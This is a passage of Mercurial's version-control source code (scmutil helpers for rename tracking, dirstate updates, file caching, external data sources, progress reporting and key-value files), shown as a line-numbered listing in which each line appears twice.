1319 '''Marks the files in unknown as added, the files in deleted as removed,
1320 and the files in renames as copied.'''
1320 and the files in renames as copied.'''
1321 wctx = repo[None]
1321 wctx = repo[None]
1322 with repo.wlock():
1322 with repo.wlock():
1323 wctx.forget(deleted)
1323 wctx.forget(deleted)
1324 wctx.add(unknown)
1324 wctx.add(unknown)
1325 for new, old in pycompat.iteritems(renames):
1325 for new, old in pycompat.iteritems(renames):
1326 wctx.copy(old, new)
1326 wctx.copy(old, new)
1327
1327
1328
1328
1329 def getrenamedfn(repo, endrev=None):
1329 def getrenamedfn(repo, endrev=None):
1330 if copiesmod.usechangesetcentricalgo(repo):
1330 if copiesmod.usechangesetcentricalgo(repo):
1331
1331
1332 def getrenamed(fn, rev):
1332 def getrenamed(fn, rev):
1333 ctx = repo[rev]
1333 ctx = repo[rev]
1334 p1copies = ctx.p1copies()
1334 p1copies = ctx.p1copies()
1335 if fn in p1copies:
1335 if fn in p1copies:
1336 return p1copies[fn]
1336 return p1copies[fn]
1337 p2copies = ctx.p2copies()
1337 p2copies = ctx.p2copies()
1338 if fn in p2copies:
1338 if fn in p2copies:
1339 return p2copies[fn]
1339 return p2copies[fn]
1340 return None
1340 return None
1341
1341
1342 return getrenamed
1342 return getrenamed
1343
1343
1344 rcache = {}
1344 rcache = {}
1345 if endrev is None:
1345 if endrev is None:
1346 endrev = len(repo)
1346 endrev = len(repo)
1347
1347
1348 def getrenamed(fn, rev):
1348 def getrenamed(fn, rev):
1349 '''looks up all renames for a file (up to endrev) the first
1349 '''looks up all renames for a file (up to endrev) the first
1350 time the file is given. It indexes on the changerev and only
1350 time the file is given. It indexes on the changerev and only
1351 parses the manifest if linkrev != changerev.
1351 parses the manifest if linkrev != changerev.
1352 Returns rename info for fn at changerev rev.'''
1352 Returns rename info for fn at changerev rev.'''
1353 if fn not in rcache:
1353 if fn not in rcache:
1354 rcache[fn] = {}
1354 rcache[fn] = {}
1355 fl = repo.file(fn)
1355 fl = repo.file(fn)
1356 for i in fl:
1356 for i in fl:
1357 lr = fl.linkrev(i)
1357 lr = fl.linkrev(i)
1358 renamed = fl.renamed(fl.node(i))
1358 renamed = fl.renamed(fl.node(i))
1359 rcache[fn][lr] = renamed and renamed[0]
1359 rcache[fn][lr] = renamed and renamed[0]
1360 if lr >= endrev:
1360 if lr >= endrev:
1361 break
1361 break
1362 if rev in rcache[fn]:
1362 if rev in rcache[fn]:
1363 return rcache[fn][rev]
1363 return rcache[fn][rev]
1364
1364
1365 # If linkrev != rev (i.e. rev not found in rcache) fallback to
1365 # If linkrev != rev (i.e. rev not found in rcache) fallback to
1366 # filectx logic.
1366 # filectx logic.
1367 try:
1367 try:
1368 return repo[rev][fn].copysource()
1368 return repo[rev][fn].copysource()
1369 except error.LookupError:
1369 except error.LookupError:
1370 return None
1370 return None
1371
1371
1372 return getrenamed
1372 return getrenamed
1373
1373
1374
1374
1375 def getcopiesfn(repo, endrev=None):
1375 def getcopiesfn(repo, endrev=None):
1376 if copiesmod.usechangesetcentricalgo(repo):
1376 if copiesmod.usechangesetcentricalgo(repo):
1377
1377
1378 def copiesfn(ctx):
1378 def copiesfn(ctx):
1379 if ctx.p2copies():
1379 if ctx.p2copies():
1380 allcopies = ctx.p1copies().copy()
1380 allcopies = ctx.p1copies().copy()
1381 # There should be no overlap
1381 # There should be no overlap
1382 allcopies.update(ctx.p2copies())
1382 allcopies.update(ctx.p2copies())
1383 return sorted(allcopies.items())
1383 return sorted(allcopies.items())
1384 else:
1384 else:
1385 return sorted(ctx.p1copies().items())
1385 return sorted(ctx.p1copies().items())
1386
1386
1387 else:
1387 else:
1388 getrenamed = getrenamedfn(repo, endrev)
1388 getrenamed = getrenamedfn(repo, endrev)
1389
1389
1390 def copiesfn(ctx):
1390 def copiesfn(ctx):
1391 copies = []
1391 copies = []
1392 for fn in ctx.files():
1392 for fn in ctx.files():
1393 rename = getrenamed(fn, ctx.rev())
1393 rename = getrenamed(fn, ctx.rev())
1394 if rename:
1394 if rename:
1395 copies.append((fn, rename))
1395 copies.append((fn, rename))
1396 return copies
1396 return copies
1397
1397
1398 return copiesfn
1398 return copiesfn
1399
1399
1400
1400
1401 def dirstatecopy(ui, repo, wctx, src, dst, dryrun=False, cwd=None):
1401 def dirstatecopy(ui, repo, wctx, src, dst, dryrun=False, cwd=None):
1402 """Update the dirstate to reflect the intent of copying src to dst. For
1402 """Update the dirstate to reflect the intent of copying src to dst. For
1403 different reasons it might not end with dst being marked as copied from src.
1403 different reasons it might not end with dst being marked as copied from src.
1404 """
1404 """
1405 origsrc = repo.dirstate.copied(src) or src
1405 origsrc = repo.dirstate.copied(src) or src
1406 if dst == origsrc: # copying back a copy?
1406 if dst == origsrc: # copying back a copy?
1407 if repo.dirstate[dst] not in b'mn' and not dryrun:
1407 if repo.dirstate[dst] not in b'mn' and not dryrun:
1408 repo.dirstate.normallookup(dst)
1408 repo.dirstate.normallookup(dst)
1409 else:
1409 else:
1410 if repo.dirstate[origsrc] == b'a' and origsrc == src:
1410 if repo.dirstate[origsrc] == b'a' and origsrc == src:
1411 if not ui.quiet:
1411 if not ui.quiet:
1412 ui.warn(
1412 ui.warn(
1413 _(
1413 _(
1414 b"%s has not been committed yet, so no copy "
1414 b"%s has not been committed yet, so no copy "
1415 b"data will be stored for %s.\n"
1415 b"data will be stored for %s.\n"
1416 )
1416 )
1417 % (repo.pathto(origsrc, cwd), repo.pathto(dst, cwd))
1417 % (repo.pathto(origsrc, cwd), repo.pathto(dst, cwd))
1418 )
1418 )
1419 if repo.dirstate[dst] in b'?r' and not dryrun:
1419 if repo.dirstate[dst] in b'?r' and not dryrun:
1420 wctx.add([dst])
1420 wctx.add([dst])
1421 elif not dryrun:
1421 elif not dryrun:
1422 wctx.copy(origsrc, dst)
1422 wctx.copy(origsrc, dst)
1423
1423
1424
1424
1425 def movedirstate(repo, newctx, match=None):
1425 def movedirstate(repo, newctx, match=None):
1426 """Move the dirstate to newctx and adjust it as necessary.
1426 """Move the dirstate to newctx and adjust it as necessary.
1427
1427
1428 A matcher can be provided as an optimization. It is probably a bug to pass
1428 A matcher can be provided as an optimization. It is probably a bug to pass
1429 a matcher that doesn't match all the differences between the parent of the
1429 a matcher that doesn't match all the differences between the parent of the
1430 working copy and newctx.
1430 working copy and newctx.
1431 """
1431 """
1432 oldctx = repo[b'.']
1432 oldctx = repo[b'.']
1433 ds = repo.dirstate
1433 ds = repo.dirstate
1434 copies = dict(ds.copies())
1434 copies = dict(ds.copies())
1435 ds.setparents(newctx.node(), nullid)
1435 ds.setparents(newctx.node(), nullid)
1436 s = newctx.status(oldctx, match=match)
1436 s = newctx.status(oldctx, match=match)
1437 for f in s.modified:
1437 for f in s.modified:
1438 if ds[f] == b'r':
1438 if ds[f] == b'r':
1439 # modified + removed -> removed
1439 # modified + removed -> removed
1440 continue
1440 continue
1441 ds.normallookup(f)
1441 ds.normallookup(f)
1442
1442
1443 for f in s.added:
1443 for f in s.added:
1444 if ds[f] == b'r':
1444 if ds[f] == b'r':
1445 # added + removed -> unknown
1445 # added + removed -> unknown
1446 ds.drop(f)
1446 ds.drop(f)
1447 elif ds[f] != b'a':
1447 elif ds[f] != b'a':
1448 ds.add(f)
1448 ds.add(f)
1449
1449
1450 for f in s.removed:
1450 for f in s.removed:
1451 if ds[f] == b'a':
1451 if ds[f] == b'a':
1452 # removed + added -> normal
1452 # removed + added -> normal
1453 ds.normallookup(f)
1453 ds.normallookup(f)
1454 elif ds[f] != b'r':
1454 elif ds[f] != b'r':
1455 ds.remove(f)
1455 ds.remove(f)
1456
1456
1457 # Merge old parent and old working dir copies
1457 # Merge old parent and old working dir copies
1458 oldcopies = copiesmod.pathcopies(newctx, oldctx, match)
1458 oldcopies = copiesmod.pathcopies(newctx, oldctx, match)
1459 oldcopies.update(copies)
1459 oldcopies.update(copies)
1460 copies = dict(
1460 copies = dict(
1461 (dst, oldcopies.get(src, src))
1461 (dst, oldcopies.get(src, src))
1462 for dst, src in pycompat.iteritems(oldcopies)
1462 for dst, src in pycompat.iteritems(oldcopies)
1463 )
1463 )
1464 # Adjust the dirstate copies
1464 # Adjust the dirstate copies
1465 for dst, src in pycompat.iteritems(copies):
1465 for dst, src in pycompat.iteritems(copies):
1466 if src not in newctx or dst in newctx or ds[dst] != b'a':
1466 if src not in newctx or dst in newctx or ds[dst] != b'a':
1467 src = None
1467 src = None
1468 ds.copy(src, dst)
1468 ds.copy(src, dst)
1469
1469
1470
1470
1471 def writerequires(opener, requirements):
1471 def writerequires(opener, requirements):
1472 with opener(b'requires', b'w', atomictemp=True) as fp:
1472 with opener(b'requires', b'w', atomictemp=True) as fp:
1473 for r in sorted(requirements):
1473 for r in sorted(requirements):
1474 fp.write(b"%s\n" % r)
1474 fp.write(b"%s\n" % r)
1475
1475
1476
1476
1477 class filecachesubentry(object):
1477 class filecachesubentry(object):
1478 def __init__(self, path, stat):
1478 def __init__(self, path, stat):
1479 self.path = path
1479 self.path = path
1480 self.cachestat = None
1480 self.cachestat = None
1481 self._cacheable = None
1481 self._cacheable = None
1482
1482
1483 if stat:
1483 if stat:
1484 self.cachestat = filecachesubentry.stat(self.path)
1484 self.cachestat = filecachesubentry.stat(self.path)
1485
1485
1486 if self.cachestat:
1486 if self.cachestat:
1487 self._cacheable = self.cachestat.cacheable()
1487 self._cacheable = self.cachestat.cacheable()
1488 else:
1488 else:
1489 # None means we don't know yet
1489 # None means we don't know yet
1490 self._cacheable = None
1490 self._cacheable = None
1491
1491
1492 def refresh(self):
1492 def refresh(self):
1493 if self.cacheable():
1493 if self.cacheable():
1494 self.cachestat = filecachesubentry.stat(self.path)
1494 self.cachestat = filecachesubentry.stat(self.path)
1495
1495
1496 def cacheable(self):
1496 def cacheable(self):
1497 if self._cacheable is not None:
1497 if self._cacheable is not None:
1498 return self._cacheable
1498 return self._cacheable
1499
1499
1500 # we don't know yet, assume it is for now
1500 # we don't know yet, assume it is for now
1501 return True
1501 return True
1502
1502
1503 def changed(self):
1503 def changed(self):
1504 # no point in going further if we can't cache it
1504 # no point in going further if we can't cache it
1505 if not self.cacheable():
1505 if not self.cacheable():
1506 return True
1506 return True
1507
1507
1508 newstat = filecachesubentry.stat(self.path)
1508 newstat = filecachesubentry.stat(self.path)
1509
1509
1510 # we may not know if it's cacheable yet, check again now
1510 # we may not know if it's cacheable yet, check again now
1511 if newstat and self._cacheable is None:
1511 if newstat and self._cacheable is None:
1512 self._cacheable = newstat.cacheable()
1512 self._cacheable = newstat.cacheable()
1513
1513
1514 # check again
1514 # check again
1515 if not self._cacheable:
1515 if not self._cacheable:
1516 return True
1516 return True
1517
1517
1518 if self.cachestat != newstat:
1518 if self.cachestat != newstat:
1519 self.cachestat = newstat
1519 self.cachestat = newstat
1520 return True
1520 return True
1521 else:
1521 else:
1522 return False
1522 return False
1523
1523
1524 @staticmethod
1524 @staticmethod
1525 def stat(path):
1525 def stat(path):
1526 try:
1526 try:
1527 return util.cachestat(path)
1527 return util.cachestat(path)
1528 except OSError as e:
1528 except OSError as e:
1529 if e.errno != errno.ENOENT:
1529 if e.errno != errno.ENOENT:
1530 raise
1530 raise
1531
1531
1532
1532
1533 class filecacheentry(object):
1533 class filecacheentry(object):
1534 def __init__(self, paths, stat=True):
1534 def __init__(self, paths, stat=True):
1535 self._entries = []
1535 self._entries = []
1536 for path in paths:
1536 for path in paths:
1537 self._entries.append(filecachesubentry(path, stat))
1537 self._entries.append(filecachesubentry(path, stat))
1538
1538
1539 def changed(self):
1539 def changed(self):
1540 '''true if any entry has changed'''
1540 '''true if any entry has changed'''
1541 for entry in self._entries:
1541 for entry in self._entries:
1542 if entry.changed():
1542 if entry.changed():
1543 return True
1543 return True
1544 return False
1544 return False
1545
1545
1546 def refresh(self):
1546 def refresh(self):
1547 for entry in self._entries:
1547 for entry in self._entries:
1548 entry.refresh()
1548 entry.refresh()
1549
1549
1550
1550
1551 class filecache(object):
1551 class filecache(object):
1552 """A property like decorator that tracks files under .hg/ for updates.
1552 """A property like decorator that tracks files under .hg/ for updates.
1553
1553
1554 On first access, the files defined as arguments are stat()ed and the
1554 On first access, the files defined as arguments are stat()ed and the
1555 results cached. The decorated function is called. The results are stashed
1555 results cached. The decorated function is called. The results are stashed
1556 away in a ``_filecache`` dict on the object whose method is decorated.
1556 away in a ``_filecache`` dict on the object whose method is decorated.
1557
1557
1558 On subsequent access, the cached result is used as it is set to the
1558 On subsequent access, the cached result is used as it is set to the
1559 instance dictionary.
1559 instance dictionary.
1560
1560
1561 On external property set/delete operations, the caller must update the
1561 On external property set/delete operations, the caller must update the
1562 corresponding _filecache entry appropriately. Use __class__.<attr>.set()
1562 corresponding _filecache entry appropriately. Use __class__.<attr>.set()
1563 instead of directly setting <attr>.
1563 instead of directly setting <attr>.
1564
1564
1565 When using the property API, the cached data is always used if available.
1565 When using the property API, the cached data is always used if available.
1566 No stat() is performed to check if the file has changed.
1566 No stat() is performed to check if the file has changed.
1567
1567
1568 Others can muck about with the state of the ``_filecache`` dict. e.g. they
1568 Others can muck about with the state of the ``_filecache`` dict. e.g. they
1569 can populate an entry before the property's getter is called. In this case,
1569 can populate an entry before the property's getter is called. In this case,
1570 entries in ``_filecache`` will be used during property operations,
1570 entries in ``_filecache`` will be used during property operations,
1571 if available. If the underlying file changes, it is up to external callers
1571 if available. If the underlying file changes, it is up to external callers
1572 to reflect this by e.g. calling ``delattr(obj, attr)`` to remove the cached
1572 to reflect this by e.g. calling ``delattr(obj, attr)`` to remove the cached
1573 method result as well as possibly calling ``del obj._filecache[attr]`` to
1573 method result as well as possibly calling ``del obj._filecache[attr]`` to
1574 remove the ``filecacheentry``.
1574 remove the ``filecacheentry``.
1575 """
1575 """
1576
1576
1577 def __init__(self, *paths):
1577 def __init__(self, *paths):
1578 self.paths = paths
1578 self.paths = paths
1579
1579
1580 def join(self, obj, fname):
1580 def join(self, obj, fname):
1581 """Used to compute the runtime path of a cached file.
1581 """Used to compute the runtime path of a cached file.
1582
1582
1583 Users should subclass filecache and provide their own version of this
1583 Users should subclass filecache and provide their own version of this
1584 function to call the appropriate join function on 'obj' (an instance
1584 function to call the appropriate join function on 'obj' (an instance
1585 of the class that its member function was decorated).
1585 of the class that its member function was decorated).
1586 """
1586 """
1587 raise NotImplementedError
1587 raise NotImplementedError
1588
1588
1589 def __call__(self, func):
1589 def __call__(self, func):
1590 self.func = func
1590 self.func = func
1591 self.sname = func.__name__
1591 self.sname = func.__name__
1592 self.name = pycompat.sysbytes(self.sname)
1592 self.name = pycompat.sysbytes(self.sname)
1593 return self
1593 return self
1594
1594
1595 def __get__(self, obj, type=None):
1595 def __get__(self, obj, type=None):
1596 # if accessed on the class, return the descriptor itself.
1596 # if accessed on the class, return the descriptor itself.
1597 if obj is None:
1597 if obj is None:
1598 return self
1598 return self
1599
1599
1600 assert self.sname not in obj.__dict__
1600 assert self.sname not in obj.__dict__
1601
1601
1602 entry = obj._filecache.get(self.name)
1602 entry = obj._filecache.get(self.name)
1603
1603
1604 if entry:
1604 if entry:
1605 if entry.changed():
1605 if entry.changed():
1606 entry.obj = self.func(obj)
1606 entry.obj = self.func(obj)
1607 else:
1607 else:
1608 paths = [self.join(obj, path) for path in self.paths]
1608 paths = [self.join(obj, path) for path in self.paths]
1609
1609
1610 # We stat -before- creating the object so our cache doesn't lie if
1610 # We stat -before- creating the object so our cache doesn't lie if
1611 # a writer modified between the time we read and stat
1611 # a writer modified between the time we read and stat
1612 entry = filecacheentry(paths, True)
1612 entry = filecacheentry(paths, True)
1613 entry.obj = self.func(obj)
1613 entry.obj = self.func(obj)
1614
1614
1615 obj._filecache[self.name] = entry
1615 obj._filecache[self.name] = entry
1616
1616
1617 obj.__dict__[self.sname] = entry.obj
1617 obj.__dict__[self.sname] = entry.obj
1618 return entry.obj
1618 return entry.obj
1619
1619
1620 # don't implement __set__(), which would make __dict__ lookup as slow as
1620 # don't implement __set__(), which would make __dict__ lookup as slow as
1621 # function call.
1621 # function call.
1622
1622
1623 def set(self, obj, value):
1623 def set(self, obj, value):
1624 if self.name not in obj._filecache:
1624 if self.name not in obj._filecache:
1625 # we add an entry for the missing value because X in __dict__
1625 # we add an entry for the missing value because X in __dict__
1626 # implies X in _filecache
1626 # implies X in _filecache
1627 paths = [self.join(obj, path) for path in self.paths]
1627 paths = [self.join(obj, path) for path in self.paths]
1628 ce = filecacheentry(paths, False)
1628 ce = filecacheentry(paths, False)
1629 obj._filecache[self.name] = ce
1629 obj._filecache[self.name] = ce
1630 else:
1630 else:
1631 ce = obj._filecache[self.name]
1631 ce = obj._filecache[self.name]
1632
1632
1633 ce.obj = value # update cached copy
1633 ce.obj = value # update cached copy
1634 obj.__dict__[self.sname] = value # update copy returned by obj.x
1634 obj.__dict__[self.sname] = value # update copy returned by obj.x
1635
1635
1636
1636
1637 def extdatasource(repo, source):
1637 def extdatasource(repo, source):
1638 """Gather a map of rev -> value dict from the specified source
1638 """Gather a map of rev -> value dict from the specified source
1639
1639
1640 A source spec is treated as a URL, with a special case shell: type
1640 A source spec is treated as a URL, with a special case shell: type
1641 for parsing the output from a shell command.
1641 for parsing the output from a shell command.
1642
1642
1643 The data is parsed as a series of newline-separated records where
1643 The data is parsed as a series of newline-separated records where
1644 each record is a revision specifier optionally followed by a space
1644 each record is a revision specifier optionally followed by a space
1645 and a freeform string value. If the revision is known locally, it
1645 and a freeform string value. If the revision is known locally, it
1646 is converted to a rev, otherwise the record is skipped.
1646 is converted to a rev, otherwise the record is skipped.
1647
1647
1648 Note that both key and value are treated as UTF-8 and converted to
1648 Note that both key and value are treated as UTF-8 and converted to
1649 the local encoding. This allows uniformity between local and
1649 the local encoding. This allows uniformity between local and
1650 remote data sources.
1650 remote data sources.
1651 """
1651 """
1652
1652
1653 spec = repo.ui.config(b"extdata", source)
1653 spec = repo.ui.config(b"extdata", source)
1654 if not spec:
1654 if not spec:
1655 raise error.Abort(_(b"unknown extdata source '%s'") % source)
1655 raise error.Abort(_(b"unknown extdata source '%s'") % source)
1656
1656
1657 data = {}
1657 data = {}
1658 src = proc = None
1658 src = proc = None
1659 try:
1659 try:
1660 if spec.startswith(b"shell:"):
1660 if spec.startswith(b"shell:"):
1661 # external commands should be run relative to the repo root
1661 # external commands should be run relative to the repo root
1662 cmd = spec[6:]
1662 cmd = spec[6:]
1663 proc = subprocess.Popen(
1663 proc = subprocess.Popen(
1664 procutil.tonativestr(cmd),
1664 procutil.tonativestr(cmd),
1665 shell=True,
1665 shell=True,
1666 bufsize=-1,
1666 bufsize=-1,
1667 close_fds=procutil.closefds,
1667 close_fds=procutil.closefds,
1668 stdout=subprocess.PIPE,
1668 stdout=subprocess.PIPE,
1669 cwd=procutil.tonativestr(repo.root),
1669 cwd=procutil.tonativestr(repo.root),
1670 )
1670 )
1671 src = proc.stdout
1671 src = proc.stdout
1672 else:
1672 else:
1673 # treat as a URL or file
1673 # treat as a URL or file
1674 src = url.open(repo.ui, spec)
1674 src = url.open(repo.ui, spec)
1675 for l in src:
1675 for l in src:
1676 if b" " in l:
1676 if b" " in l:
1677 k, v = l.strip().split(b" ", 1)
1677 k, v = l.strip().split(b" ", 1)
1678 else:
1678 else:
1679 k, v = l.strip(), b""
1679 k, v = l.strip(), b""
1680
1680
1681 k = encoding.tolocal(k)
1681 k = encoding.tolocal(k)
1682 try:
1682 try:
1683 data[revsingle(repo, k).rev()] = encoding.tolocal(v)
1683 data[revsingle(repo, k).rev()] = encoding.tolocal(v)
1684 except (error.LookupError, error.RepoLookupError):
1684 except (error.LookupError, error.RepoLookupError):
1685 pass # we ignore data for nodes that don't exist locally
1685 pass # we ignore data for nodes that don't exist locally
1686 finally:
1686 finally:
1687 if proc:
1687 if proc:
1688 try:
1688 try:
1689 proc.communicate()
1689 proc.communicate()
1690 except ValueError:
1690 except ValueError:
1691 # This happens if we started iterating src and then
1691 # This happens if we started iterating src and then
1692 # get a parse error on a line. It should be safe to ignore.
1692 # get a parse error on a line. It should be safe to ignore.
1693 pass
1693 pass
1694 if src:
1694 if src:
1695 src.close()
1695 src.close()
1696 if proc and proc.returncode != 0:
1696 if proc and proc.returncode != 0:
1697 raise error.Abort(
1697 raise error.Abort(
1698 _(b"extdata command '%s' failed: %s")
1698 _(b"extdata command '%s' failed: %s")
1699 % (cmd, procutil.explainexit(proc.returncode))
1699 % (cmd, procutil.explainexit(proc.returncode))
1700 )
1700 )
1701
1701
1702 return data
1702 return data
1703
1703
1704
1704
1705 def _locksub(repo, lock, envvar, cmd, environ=None, *args, **kwargs):
1705 def _locksub(repo, lock, envvar, cmd, environ=None, *args, **kwargs):
1706 if lock is None:
1706 if lock is None:
1707 raise error.LockInheritanceContractViolation(
1707 raise error.LockInheritanceContractViolation(
1708 b'lock can only be inherited while held'
1708 b'lock can only be inherited while held'
1709 )
1709 )
1710 if environ is None:
1710 if environ is None:
1711 environ = {}
1711 environ = {}
1712 with lock.inherit() as locker:
1712 with lock.inherit() as locker:
1713 environ[envvar] = locker
1713 environ[envvar] = locker
1714 return repo.ui.system(cmd, environ=environ, *args, **kwargs)
1714 return repo.ui.system(cmd, environ=environ, *args, **kwargs)
1715
1715
1716
1716
1717 def wlocksub(repo, cmd, *args, **kwargs):
1717 def wlocksub(repo, cmd, *args, **kwargs):
1718 """run cmd as a subprocess that allows inheriting repo's wlock
1718 """run cmd as a subprocess that allows inheriting repo's wlock
1719
1719
1720 This can only be called while the wlock is held. This takes all the
1720 This can only be called while the wlock is held. This takes all the
1721 arguments that ui.system does, and returns the exit code of the
1721 arguments that ui.system does, and returns the exit code of the
1722 subprocess."""
1722 subprocess."""
1723 return _locksub(
1723 return _locksub(
1724 repo, repo.currentwlock(), b'HG_WLOCK_LOCKER', cmd, *args, **kwargs
1724 repo, repo.currentwlock(), b'HG_WLOCK_LOCKER', cmd, *args, **kwargs
1725 )
1725 )
1726
1726
1727
1727
1728 class progress(object):
1728 class progress(object):
1729 def __init__(self, ui, updatebar, topic, unit=b"", total=None):
1729 def __init__(self, ui, updatebar, topic, unit=b"", total=None):
1730 self.ui = ui
1730 self.ui = ui
1731 self.pos = 0
1731 self.pos = 0
1732 self.topic = topic
1732 self.topic = topic
1733 self.unit = unit
1733 self.unit = unit
1734 self.total = total
1734 self.total = total
1735 self.debug = ui.configbool(b'progress', b'debug')
1735 self.debug = ui.configbool(b'progress', b'debug')
1736 self._updatebar = updatebar
1736 self._updatebar = updatebar
1737
1737
1738 def __enter__(self):
1738 def __enter__(self):
1739 return self
1739 return self
1740
1740
1741 def __exit__(self, exc_type, exc_value, exc_tb):
1741 def __exit__(self, exc_type, exc_value, exc_tb):
1742 self.complete()
1742 self.complete()
1743
1743
1744 def update(self, pos, item=b"", total=None):
1744 def update(self, pos, item=b"", total=None):
1745 assert pos is not None
1745 assert pos is not None
1746 if total:
1746 if total:
1747 self.total = total
1747 self.total = total
1748 self.pos = pos
1748 self.pos = pos
1749 self._updatebar(self.topic, self.pos, item, self.unit, self.total)
1749 self._updatebar(self.topic, self.pos, item, self.unit, self.total)
1750 if self.debug:
1750 if self.debug:
1751 self._printdebug(item)
1751 self._printdebug(item)
1752
1752
1753 def increment(self, step=1, item=b"", total=None):
1753 def increment(self, step=1, item=b"", total=None):
1754 self.update(self.pos + step, item, total)
1754 self.update(self.pos + step, item, total)
1755
1755
1756 def complete(self):
1756 def complete(self):
1757 self.pos = None
1757 self.pos = None
1758 self.unit = b""
1758 self.unit = b""
1759 self.total = None
1759 self.total = None
1760 self._updatebar(self.topic, self.pos, b"", self.unit, self.total)
1760 self._updatebar(self.topic, self.pos, b"", self.unit, self.total)
1761
1761
1762 def _printdebug(self, item):
1762 def _printdebug(self, item):
1763 if self.unit:
1763 if self.unit:
1764 unit = b' ' + self.unit
1764 unit = b' ' + self.unit
1765 if item:
1765 if item:
1766 item = b' ' + item
1766 item = b' ' + item
1767
1767
1768 if self.total:
1768 if self.total:
1769 pct = 100.0 * self.pos / self.total
1769 pct = 100.0 * self.pos / self.total
1770 self.ui.debug(
1770 self.ui.debug(
1771 b'%s:%s %d/%d%s (%4.2f%%)\n'
1771 b'%s:%s %d/%d%s (%4.2f%%)\n'
1772 % (self.topic, item, self.pos, self.total, unit, pct)
1772 % (self.topic, item, self.pos, self.total, unit, pct)
1773 )
1773 )
1774 else:
1774 else:
1775 self.ui.debug(b'%s:%s %d%s\n' % (self.topic, item, self.pos, unit))
1775 self.ui.debug(b'%s:%s %d%s\n' % (self.topic, item, self.pos, unit))
1776
1776
1777
1777
1778 def gdinitconfig(ui):
1778 def gdinitconfig(ui):
1779 """helper function to know if a repo should be created as general delta
1779 """helper function to know if a repo should be created as general delta
1780 """
1780 """
1781 # experimental config: format.generaldelta
1781 # experimental config: format.generaldelta
1782 return ui.configbool(b'format', b'generaldelta') or ui.configbool(
1782 return ui.configbool(b'format', b'generaldelta') or ui.configbool(
1783 b'format', b'usegeneraldelta'
1783 b'format', b'usegeneraldelta'
1784 )
1784 )
1785
1785
1786
1786
1787 def gddeltaconfig(ui):
1787 def gddeltaconfig(ui):
1788 """helper function to know if incoming delta should be optimised
1788 """helper function to know if incoming delta should be optimised
1789 """
1789 """
1790 # experimental config: format.generaldelta
1790 # experimental config: format.generaldelta
1791 return ui.configbool(b'format', b'generaldelta')
1791 return ui.configbool(b'format', b'generaldelta')
1792
1792
1793
1793
1794 class simplekeyvaluefile(object):
1794 class simplekeyvaluefile(object):
1795 """A simple file with key=value lines
1795 """A simple file with key=value lines
1796
1796
1797 Keys must be alphanumerics and start with a letter, values must not
1797 Keys must be alphanumerics and start with a letter, values must not
1798 contain '\n' characters"""
1798 contain '\n' characters"""
1799
1799
1800 firstlinekey = b'__firstline'
1800 firstlinekey = b'__firstline'
1801
1801
1802 def __init__(self, vfs, path, keys=None):
1802 def __init__(self, vfs, path, keys=None):
1803 self.vfs = vfs
1803 self.vfs = vfs
1804 self.path = path
1804 self.path = path
1805
1805
1806 def read(self, firstlinenonkeyval=False):
1806 def read(self, firstlinenonkeyval=False):
1807 """Read the contents of a simple key-value file
1807 """Read the contents of a simple key-value file
1808
1808
1809 'firstlinenonkeyval' indicates whether the first line of file should
1809 'firstlinenonkeyval' indicates whether the first line of file should
1810 be treated as a key-value pair or reuturned fully under the
1810 be treated as a key-value pair or reuturned fully under the
1811 __firstline key."""
1811 __firstline key."""
1812 lines = self.vfs.readlines(self.path)
1812 lines = self.vfs.readlines(self.path)
1813 d = {}
1813 d = {}
1814 if firstlinenonkeyval:
1814 if firstlinenonkeyval:
1815 if not lines:
1815 if not lines:
1816 e = _(b"empty simplekeyvalue file")
1816 e = _(b"empty simplekeyvalue file")
1817 raise error.CorruptedState(e)
1817 raise error.CorruptedState(e)
1818 # we don't want to include '\n' in the __firstline
1818 # we don't want to include '\n' in the __firstline
1819 d[self.firstlinekey] = lines[0][:-1]
1819 d[self.firstlinekey] = lines[0][:-1]
1820 del lines[0]
1820 del lines[0]
1821
1821
1822 try:
1822 try:
1823 # the 'if line.strip()' part prevents us from failing on empty
1823 # the 'if line.strip()' part prevents us from failing on empty
1824 # lines which only contain '\n' therefore are not skipped
1824 # lines which only contain '\n' therefore are not skipped
1825 # by 'if line'
1825 # by 'if line'
1826 updatedict = dict(
1826 updatedict = dict(
1827 line[:-1].split(b'=', 1) for line in lines if line.strip()
1827 line[:-1].split(b'=', 1) for line in lines if line.strip()
1828 )
1828 )
1829 if self.firstlinekey in updatedict:
1829 if self.firstlinekey in updatedict:
1830 e = _(b"%r can't be used as a key")
1830 e = _(b"%r can't be used as a key")
1831 raise error.CorruptedState(e % self.firstlinekey)
1831 raise error.CorruptedState(e % self.firstlinekey)
1832 d.update(updatedict)
1832 d.update(updatedict)
1833 except ValueError as e:
1833 except ValueError as e:
1834 raise error.CorruptedState(stringutil.forcebytestr(e))
1834 raise error.CorruptedState(stringutil.forcebytestr(e))
1835 return d
1835 return d
1836
1836
1837 def write(self, data, firstline=None):
1837 def write(self, data, firstline=None):
1838 """Write key=>value mapping to a file
1838 """Write key=>value mapping to a file
1839 data is a dict. Keys must be alphanumerical and start with a letter.
1839 data is a dict. Keys must be alphanumerical and start with a letter.
1840 Values must not contain newline characters.
1840 Values must not contain newline characters.
1841
1841
1842 If 'firstline' is not None, it is written to file before
1842 If 'firstline' is not None, it is written to file before
1843 everything else, as it is, not in a key=value form"""
1843 everything else, as it is, not in a key=value form"""
1844 lines = []
1844 lines = []
1845 if firstline is not None:
1845 if firstline is not None:
1846 lines.append(b'%s\n' % firstline)
1846 lines.append(b'%s\n' % firstline)
1847
1847
1848 for k, v in data.items():
1848 for k, v in data.items():
1849 if k == self.firstlinekey:
1849 if k == self.firstlinekey:
1850 e = b"key name '%s' is reserved" % self.firstlinekey
1850 e = b"key name '%s' is reserved" % self.firstlinekey
1851 raise error.ProgrammingError(e)
1851 raise error.ProgrammingError(e)
1852 if not k[0:1].isalpha():
1852 if not k[0:1].isalpha():
1853 e = b"keys must start with a letter in a key-value file"
1853 e = b"keys must start with a letter in a key-value file"
1854 raise error.ProgrammingError(e)
1854 raise error.ProgrammingError(e)
1855 if not k.isalnum():
1855 if not k.isalnum():
1856 e = b"invalid key name in a simple key-value file"
1856 e = b"invalid key name in a simple key-value file"
1857 raise error.ProgrammingError(e)
1857 raise error.ProgrammingError(e)
1858 if b'\n' in v:
1858 if b'\n' in v:
1859 e = b"invalid value in a simple key-value file"
1859 e = b"invalid value in a simple key-value file"
1860 raise error.ProgrammingError(e)
1860 raise error.ProgrammingError(e)
1861 lines.append(b"%s=%s\n" % (k, v))
1861 lines.append(b"%s=%s\n" % (k, v))
1862 with self.vfs(self.path, mode=b'wb', atomictemp=True) as fp:
1862 with self.vfs(self.path, mode=b'wb', atomictemp=True) as fp:
